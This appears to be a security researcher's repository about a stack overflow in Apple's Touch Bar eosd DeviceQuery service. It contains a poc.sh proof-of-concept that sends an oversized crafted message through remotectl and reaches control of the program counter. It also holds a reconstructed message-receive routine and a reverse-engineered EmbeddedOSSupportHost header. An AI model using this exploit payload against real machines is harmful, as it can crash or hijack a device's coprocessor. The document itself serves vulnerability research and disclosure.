├── README.md ├── poc.sh ├── eos_message_recieve.c └── EmbeddedOSSupportHost.h /README.md: -------------------------------------------------------------------------------- 1 | See [blog post](https://stek29.rocks/2019/02/15/touchbar-eosd) 2 | 3 | [![asciicast](https://asciinema.org/a/FjTSc8YtedqYNd6tHsEniOxjv.svg)](https://asciinema.org/a/FjTSc8YtedqYNd6tHsEniOxjv) 4 | -------------------------------------------------------------------------------- /poc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Thread 1 crashed with ARM Thread State (32-bit): 3 | # r0: 0xXXXXXXXX r1: 0xXXXXXXXX r2: 0xXXXXXXXX r3: 0xXXXXXXXX 4 | # r4: 0x04040404 r5: 0x05050505 r6: 0x06060606 r7: 0x07070707 5 | # r8: 0x08080808 r9: 0x00048a2c r10: 0x0a0a0a0a r11: 0x0b0b0b0b 6 | # ip: 0xXXXXXXXX sp: 0xXXXXXXXX lr: 0xXXXXXXXX pc: 0x0f0f0f0e 7 | 8 | perl -e '\ 9 | print "\x00\x03"; print "\x00"x8; \ 10 | print "\x00\x01"; print "stek"x130; \ 11 | print "\x08"x4; print "\x0a"x4; \ 12 | print "\x0b"x4; print "\x04"x4; \ 13 | print "\x05"x4; print "\x06"x4; \ 14 | print "\x07"x4; print "\x0f"x4; \ 15 | print "_stack_fill_"x18' | \ 16 | /usr/libexec/remotectl netcat localbridge com.apple.eos.DeviceQuery 17 | -------------------------------------------------------------------------------- /eos_message_recieve.c: -------------------------------------------------------------------------------- 1 | #include "EmbeddedOSSupportHost.h" 2 | #include 3 | #include 4 | 5 | #define LOG(fmt, ...) 6 | 7 | void eos_message_destroy(eos_message_t msg) { 8 | if (msg != NULL) { 9 | CFRelease(msg); 10 | } 11 | } 12 | 13 | uint32_t _eos_message_calculcate_crc(const uint8_t* buffer, uint32_t len) { 14 | uint32_t result = 0; 15 | for (uint32_t i = 0; i != len; ++i) { 16 | result += buffer[i]; 17 | } 18 | return result; 19 | } 20 | 21 | // _eos_message_recv in apple terms 22 | // 1 on success, 0 on failure 23 | static int recv_all(int socket, void* buffer, size_t length) { 24 | ssize_t recvd = 0; 25 | 26 | while (length > 0) { 27 | recvd = recv(socket, buffer, length, 0); 28 | if (recvd <= 0) { 29 | LOG("recv failed: %s", strerror(errno())); 30 | return 0; 31 | } 32 | 33 | assert(length >= recvd); 34 | 35 | buffer = (void*) ((uintptr_t)buffer + recvd); 36 | length -= recvd; 37 | } 38 | 39 | return 1; 40 | } 41 | 42 | eos_message_t eos_message_receive(eos_connection_t conn) { 43 | struct eos_message_serialized message = {}; 44 | int rv = 0; 45 | eos_message_t result = NULL; 46 | void* payload_buf = NULL; 47 | CFDataRef payload_dataref = NULL; 48 | 49 | assert(conn >= 0); 50 | 51 | rv = recv_all((int) conn, &message.raw_header_len, sizeof(message.raw_header_len)); 52 | if (!rv) { 53 | LOG("Cant recv incoming header length"); 54 | goto endret; 55 | } 56 | 57 | // Not present in older versions (i.e. on first gen iBridge on touchbars) 58 | if (message.raw_header_len > sizeof(message.header)) { 59 | LOG("Header length too large"); 60 | goto endret; 61 | } 62 | 63 | rv = recv_all((int) conn, &message.header, message.raw_header_len); 64 | if (!rv) { 65 | LOG("Cant recv incoming header"); 66 | goto endret; 67 | } 68 | 69 | // 0 isn't valid either since it overflows, lol 70 | if (message.header.eos_msg.payload_len - 1 >= MAX_PAYLOAD_LEN) { 71 | LOG("Invalid payload length: %d", message.header.eos_msg.payload_len); 72 | goto endret; 73 | } 74 | 75 | payload_buf = calloc(1, message.header.eos_msg.payload_len); 76 | if (payload_buf == NULL) { 77 | LOG("calloc failed"); 78 | goto endret; 79 | } 80 | 81 | rv = recv_all((int) conn, payload_buf, message.header.eos_msg.payload_len); 82 | if (!rv) { 83 | LOG("Cant recv payload"); 84 | goto endret; 85 | } 86 | 87 | if (_eos_message_calculcate_crc(payload_buf, message.header.eos_msg.payload_len) != message.header.eos_msg.crc) { 88 | LOG("Invalid crc"); 89 | goto endret; 90 | } 91 | 92 | payload_dataref = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, payload_buf, message.header.eos_msg.payload_len, kCFAllocatorNull); 93 | if (payload_dataref == NULL) { 94 | LOG("Cant create CFDataRef for payload"); 95 | goto endret; 96 | } 97 | 98 | result = CFPropertyListCreateWithData(kCFAllocatorDefault, payload_dataref, kCFPropertyListMutableContainers, NULL, NULL); 99 | 100 | if (result == NULL) { 101 | LOG("Cant deserialize incoming message"); 102 | } 103 | 104 | endret: 105 | if (payload_dataref) CFRelease(payload_dataref); 106 | free(payload_buf); 107 | return result; 108 | } -------------------------------------------------------------------------------- /EmbeddedOSSupportHost.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | 6 | #ifndef __EMBEDDEDOS_SUPPPORT__ 7 | #define __EMBEDDEDOS_SUPPPORT__ 8 | 9 | #ifndef SO_INTCOPROC_ALLOW 10 | #define SO_INTCOPROC_ALLOW 0x1118 11 | #endif 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | // @(#)PROGRAM:EmbeddedOSSupportHost PROJECT:AppleEmbeddedOSSupport 18 | extern const char* EmbeddedOSSupportHostVersionString; 19 | // 1.0 by time this header was made 20 | extern const double EmbeddedOSSupportHostVersionNumber; 21 | 22 | typedef enum { 23 | kEOSErrorNone, 24 | kEOSErrorBadArgument, 25 | kEOSErrorCommunicationFailure, 26 | kEOSErrorDeviceNotFound, 27 | kEOSErrorDeviceNotSupported, 28 | kEOSErrorDriverFailure, 29 | kEOSErrorResourceAllocationFailure, 30 | kEOSErrorUnknown, 31 | } eos_error_t; 32 | const char *eos_strerror(eos_error_t err); 33 | 34 | typedef enum { 35 | kEOSServiceInvalid, 36 | kEOSServiceStockholmUART, 37 | kEOSServiceStockholmRPC, 38 | kEOSServiceRVF, 39 | kEOSServiceABSE, 40 | kEOSServiceEostrace, 41 | kEOSServiceSysdiagnose, 42 | kEOSServiceLogging, 43 | kEOSServiceLASecureIO, 44 | kEOSServiceEOSSupport, 45 | kEOSServiceXARTStorage, 46 | kEOSServiceTimeSync, 47 | kEOSServiceDeviceQuery, 48 | kEOSServiceFDRd, 49 | kEOSServiceRepairTask, 50 | kEOSServiceReverseProxy, 51 | kEOSServiceXARTRecovery, 52 | kEOSServiceEcho, 53 | kEOSServiceFactoryProcess, 54 | kEOSServiceBiometricKit, 55 | kEOSServiceDFRBrightness, 56 | kEOSServiceAID, 57 | kEOSServiceMax 58 | } eos_service_t; 59 | const char *eos_strservice(eos_service_t a1); 60 | 61 | bool eos_device_is_supported(void); 62 | 63 | typedef enum { 64 | kBridge1_1 = 0x1000, 65 | kBridge2_maybe_that_iMac_thingy = 0x2000, 66 | } eos_device_type_t; 67 | 68 | /* 69 | * Get type of device avaliable on current machine 70 | * Returns: 71 | * kEOSErrorNone 72 | * kEOSErrorDeviceNotFound 73 | */ 74 | eos_error_t eos_device_get_type(eos_device_type_t *type); 75 | 76 | /* 77 | * Put device to Recovery mode 78 | * Sets "DeviceConnected" to 0 on success 79 | * Returns: 80 | * kEOSErrorNone 81 | * kEOSErrorDeviceNotSupported 82 | * kEOSErrorDriverFailure 83 | */ 84 | eos_error_t eos_device_force_reset(void); 85 | 86 | /* 87 | * Put device to DFU mode 88 | * Sets "DeviceConnected" to 0 on success 89 | * Returns: see eos_device_force_reset 90 | */ 91 | eos_error_t eos_device_force_dfu(void); 92 | 93 | /* 94 | * Set "DeviceIsHealed" from driver 95 | * Returns: 96 | * kEOSErrorNone 97 | * kEOSErrorDeviceNotSupported 98 | * kEOSErrorDriverFailure 99 | */ 100 | eos_error_t eos_device_set_healed(bool ishealed); 101 | 102 | /* 103 | * Get "DeviceIsHealed" from driver 104 | * Returns: 105 | * kEOSErrorNone 106 | * kEOSErrorBadArgument 107 | * kEOSErrorDeviceNotSupported 108 | * kEOSErrorDriverFailure 109 | */ 110 | eos_error_t eos_device_get_healed(bool *ishealed); 111 | 112 | /* 113 | * eos_message_t serialization format: 114 | * --------- 115 | * uint32_t raw_header_len 116 | * raw_header: 117 | * // raw_header has size of raw_header_len, but cant be larger than 0x200 118 | * uint8_t pad (yes, one byte, and everything is misaligned because of it aaa) 119 | * uint32_t crc -- see _eos_message_calculcate_crc 120 | * uint32_t payload_len 121 | * payload: 122 | * // payload_len bytes, but max is (MAX_PAYLOAD_LEN - 1) 123 | * // usually it's CFDictionary serialized as bplist v1.0 124 | * raw bytes... 125 | * --------- 126 | */ 127 | 128 | struct eos_message_serialized { 129 | uint32_t raw_header_len; 130 | union { 131 | struct { 132 | uint8_t reserved; 133 | uint32_t crc; 134 | 135 | // 0x200000 on first gen iBridge 136 | #define MAX_PAYLOAD_LEN 0x600000 137 | uint32_t payload_len; 138 | } __attribute__((aligned(1),packed)) eos_msg; 139 | 140 | char raw[512]; 141 | } header; 142 | 143 | uint8_t payload[/* payload_len */]; 144 | } __attribute__((aligned(1),packed)); 145 | 146 | typedef enum { 147 | kEOSMsgErrNone = 0, 148 | kEOSMsgErrUnknown = 100, 149 | kEOSMsgErrInvalidCommand = 200, 150 | } eos_message_error_t; 151 | 152 | typedef enum { 153 | /* 154 | * eos_message_t is a CFDictionary [CFString => CFType] 155 | * There are Query's and Reply's 156 | * Query: 157 | * Command: CFNumber, see eos_cmd_t 158 | * Version: Currently 1000 (0x3E8) 159 | * More, depending on Command 160 | * Reply: 161 | * Command: Same as Query command this is a reply to 162 | * Success: CFBoolean 163 | * Error: see eos_message_error_t (always exists, even on Success=kCFBooleanTrue) 164 | * More, depending on Command 165 | */ 166 | 167 | /* 168 | * host => kEOSServiceDeviceQuery 169 | * Query: 170 | * GestaltKeys: CFArray of keys to fetch 171 | * Reply: 172 | * GestaltKeysWithAnswers: CFDictionary [CFString key => CFType value] 173 | */ 174 | kEOSMessageTag_EOSFetchGestaltKeys = 3, 175 | 176 | /* 177 | * host => kEOSServiceDeviceQuery 178 | * Query: Empty 179 | * Reply: 180 | * GestaltKeys: CFArray of supported keys 181 | */ 182 | kEOSMessageTag_EOSFetchSupportedGestaltKeysList = 4, 183 | 184 | /* 185 | * host => kEOSServiceDeviceQuery 186 | * Query: Empty 187 | * Reply: 188 | * BootArgs: CFString with eOS's kern.bootargs 189 | */ 190 | kEOSMessageTag_EOSFetchBootArgs = 5, 191 | 192 | /* 193 | * host => kEOSServiceDeviceQuery 194 | * Returns success if version is supported 195 | * Query: Empty 196 | * Reply: Empty 197 | */ 198 | kEOSMessageTag_EOSGetServiceVersion = 6, 199 | 200 | /* 201 | * kEOSServiceEOSSupport => host 202 | * Query: Empty 203 | * Reply: Empty 204 | */ 205 | kEOSMessageTag_EOSPing = 100, 206 | 207 | /* 208 | * kEOSServiceEOSSupport => host 209 | * Query: 210 | * CrashContent: CFString with contents of crash log 211 | * CrashProcName: Name of crashed process 212 | * Reply: Empty 213 | */ 214 | kEOSMessageTag_EOSSubmitCrash = 110, 215 | 216 | // host => XXX 217 | kEOSMessageTag_EnableCnxnWatchdog = 200, 218 | 219 | // host => XXX 220 | kEOSMessageTag_WatchdogHeartbeet = 201, 221 | 222 | // host => XXX 223 | kEOSMessageTag_WatchdogDisableAck = 202, 224 | // kEOSServiceEOSSupport => host 225 | kEOSMessageTag_DisableCnxnWatchdog = 203, 226 | } eos_cmd_t; 227 | 228 | 229 | typedef enum { 230 | kEOSDriverEvent_DeviceAdded, 231 | kEOSDriverEvent_DeviceRemoved, 232 | kEOSDriverEvent_DevicePanicked, // DeviceTriggeredPanic 233 | kEOSDriverEvent_DeviceRestartedByHost, 234 | kEOSDriverEvent_DeviceWatchDog, // DeviceTriggeredHardwareReset 235 | kEOSDriverEvent_Max, 236 | } eos_driver_event_t; 237 | 238 | typedef CFDictionaryRef eos_message_t; 239 | 240 | eos_message_t eos_message_create(eos_cmd_t command); 241 | /* 242 | * Create message which a reply to request (eos_message_create(request=>Command)) 243 | */ 244 | eos_message_t eos_message_create_reply(eos_message_t request); 245 | 246 | // safe to call on NULL 247 | void eos_message_destroy(eos_message_t msg); 248 | 249 | void eos_message_set_value(eos_message_t msg, CFTypeRef key, CFTypeRef value); 250 | CFTypeRef eos_message_get_value(eos_message_t msg, CFTypeRef key); 251 | 252 | void eos_message_set_uint32(eos_message_t msg, CFTypeRef key, uint32_t value); 253 | uint32_t eos_message_get_uint32(eos_message_t msg, CFTypeRef key); 254 | 255 | // Calculate crc for message 256 | uint32_t _eos_message_calculcate_crc(const uint8_t* buffer, uint32_t len); 257 | 258 | // socket 259 | typedef int eos_connection_t; 260 | 261 | eos_error_t eos_message_send(eos_connection_t conn, eos_message_t msg); 262 | eos_message_t eos_message_receive(eos_connection_t conn); 263 | 264 | // Send message and return reply 265 | eos_message_t eos_message_send_with_reply_sync(eos_connection_t conn, eos_message_t msg); 266 | 267 | typedef enum { 268 | kSTREAM = SOCK_STREAM, // 1 269 | kDGRAM = SOCK_DGRAM, // 2 270 | } eos_conntype_t; 271 | 272 | 273 | // APPL calls conn "sockfd", and "addr" is "sa" 274 | eos_error_t eos_device_connect(eos_connection_t *conn, eos_conntype_t type, struct sockaddr *addr, eos_service_t service, int *connect_errno); 275 | eos_error_t eos_device_init(eos_connection_t *conn, eos_conntype_t type, struct sockaddr_in6 *addr, eos_service_t service); 276 | 277 | // domain should be PF_INET6 and protocol should be 0 278 | eos_error_t eos_device_init_socket_in6(eos_connection_t *conn, int domain, eos_conntype_t type, int protocol); 279 | 280 | // initialize addr fo service 281 | eos_error_t eos_device_init_sockaddr_in6(struct sockaddr_in6 *add, eos_service_t service); 282 | 283 | // get eOS device's addr -- "fe80::aede:48ff:fe33:4455" 284 | eos_error_t eos_device_get_addr_in6(struct in6_addr *addr); 285 | 286 | // Internal versions of functions above 287 | // then don't check for eos_device_is_supported 288 | eos_error_t _eos_endpoint_get_addr_in6(struct in6_addr *addr); 289 | eos_error_t _eos_endpoint_init_sockaddr_in6(struct sockaddr_in6 *add, eos_service_t service); 290 | eos_error_t _eos_endpoint_init_socket_in6(eos_connection_t *conn, int domain, eos_conntype_t type, int protocol); 291 | eos_error_t _eos_endpoint_init(eos_connection_t *conn, eos_conntype_t type, struct sockaddr_in6 *addr, eos_service_t service); 292 | eos_error_t _eos_endpoint_connect(eos_connection_t *conn, eos_conntype_t type, struct sockaddr *addr, eos_service_t service, int *connect_errno); 293 | 294 | 295 | // eOS network properties (use _get_ functions to ensure initialized) 296 | 297 | // Initialize 298 | extern bool s_eos_if_fetched; 299 | eos_error_t _eos_network_fetch_properties(void); 300 | 301 | // bsd interface name of eOS network 302 | extern const volatile char s_eos_ifname[16]; 303 | eos_error_t _eos_endpoint_get_ifname(char ifname[16]); 304 | 305 | // if_nametoindex(s_eos_ifname) 306 | extern unsigned int s_eos_ifindex; 307 | eos_error_t _eos_endpoint_get_ifindex(unsigned int *ifindex); 308 | 309 | // get eOS port for service (in host endianness) 310 | extern int s_eos_service_ports[kEOSServiceMax]; 311 | eos_error_t _eos_endpoint_get_port(eos_service_t service, int* port); 312 | 313 | // known/common gestalt keys 314 | extern const CFStringRef kEOSGestaltKey_ApNonce; 315 | extern const CFStringRef kEOSGestaltKey_BoardId; 316 | extern const CFStringRef kEOSGestaltKey_BridgeBuild; 317 | extern const CFStringRef kEOSGestaltKey_BuildVersion; 318 | extern const CFStringRef kEOSGestaltKey_CertificateSecurityMode; 319 | extern const CFStringRef kEOSGestaltKey_ChipID; 320 | extern const CFStringRef kEOSGestaltKey_EffectiveProductionStatusAp; 321 | extern const CFStringRef kEOSGestaltKey_EffectiveSecurityModeAp; 322 | extern const CFStringRef kEOSGestaltKey_HardwarePlatform; 323 | extern const CFStringRef kEOSGestaltKey_HasSEP; 324 | extern const CFStringRef kEOSGestaltKey_HWModelStr; 325 | extern const CFStringRef kEOSGestaltKey_Image4CryptoHashMethod; 326 | extern const CFStringRef kEOSGestaltKey_Image4Supported; 327 | extern const CFStringRef kEOSGestaltKey_IsAppleInternal; 328 | extern const CFStringRef kEOSGestaltKey_SerialNumber; 329 | extern const CFStringRef kEOSGestaltKey_SigningFuse; 330 | extern const CFStringRef kEOSGestaltKey_SEPNonce; 331 | extern const CFStringRef kEOSGestaltKey_UniqueChipID; 332 | 333 | /* 334 | * Fetch keys specified by "keys" from eOS MobileGestalt 335 | * dict is retained 336 | * See eos_device_fetch_supported_gestalt_keys_list 337 | * Returns: 338 | * kEOSErrorNone 339 | * kEOSErrorBadArgument 340 | * kEOSErrorCommunicationFailure 341 | * kEOSErrorDeviceNotSupported 342 | */ 343 | eos_error_t eos_device_fetch_gestalt_keys(CFArrayRef keys, CFDictionaryRef *dict); 344 | 345 | /* 346 | * Get list of eOS MobileGestalt allowed keys 347 | * arr is retained 348 | * See eos_device_fetch_gestalt_keys 349 | * Returns: 350 | * kEOSErrorNone 351 | * kEOSErrorBadArgument 352 | * kEOSErrorCommunicationFailure 353 | * kEOSErrorDeviceNotSupported 354 | */ 355 | eos_error_t eos_device_fetch_supported_gestalt_keys_list(CFArrayRef *arr); 356 | 357 | 358 | /* 359 | * Get eOS boot args 360 | * str is retained 361 | * Returns: 362 | * kEOSErrorNone 363 | * kEOSErrorBadArgument 364 | * kEOSErrorCommunicationFailure 365 | * kEOSErrorDeviceNotSupported 366 | */ 367 | eos_error_t eos_device_fetch_boot_args(CFStringRef *str); 368 | 369 | 370 | typedef enum { 371 | kEOSEventDeviceConnected, 372 | kEOSEventDeviceUnresponsive, 373 | kEOSEventMax 374 | } eos_event_id_t; 375 | 376 | // actually array size is kEOSEventMax - 1 but whatever 377 | extern const char kEOSNotificationLabels[kEOSEventMax]; 378 | 379 | eos_error_t _eos_device_get_notify_state(const char* notification_label, bool* value); 380 | 381 | /* 382 | * Get "DeviceConnected" from systemwide notify_state 383 | * Returns: 384 | * kEOSErrorNone 385 | * kEOSErrorBadArgument (?) 386 | * kEOSErrorDeviceNotSupported 387 | * kEOSErrorUnknown 388 | */ 389 | eos_error_t eos_device_is_connected(bool *isConnected); 390 | 391 | /* 392 | * Get "DeviceUnresponsive" from systemwide notify_state 393 | * Returns: See eos_device_is_connected 394 | */ 395 | eos_error_t eos_device_is_unresponsive(bool *isUnresponsive); 396 | 397 | // Registers darwin notify handlers for all kEOSNotificationLabels 398 | // There can be only one handler set at the same time for one process 399 | typedef void (^eos_event_handler_t)(eos_event_id_t event_id); 400 | eos_error_t eos_device_register_event_handler(dispatch_queue_t queue, eos_event_handler_t handler); 401 | eos_error_t eos_device_unregister_event_handler(void); 402 | 403 | #ifdef __cplusplus 404 | } 405 | #endif 406 | 407 | #endif // __EMBEDDEDOS_SUPPPORT__ 408 | --------------------------------------------------------------------------------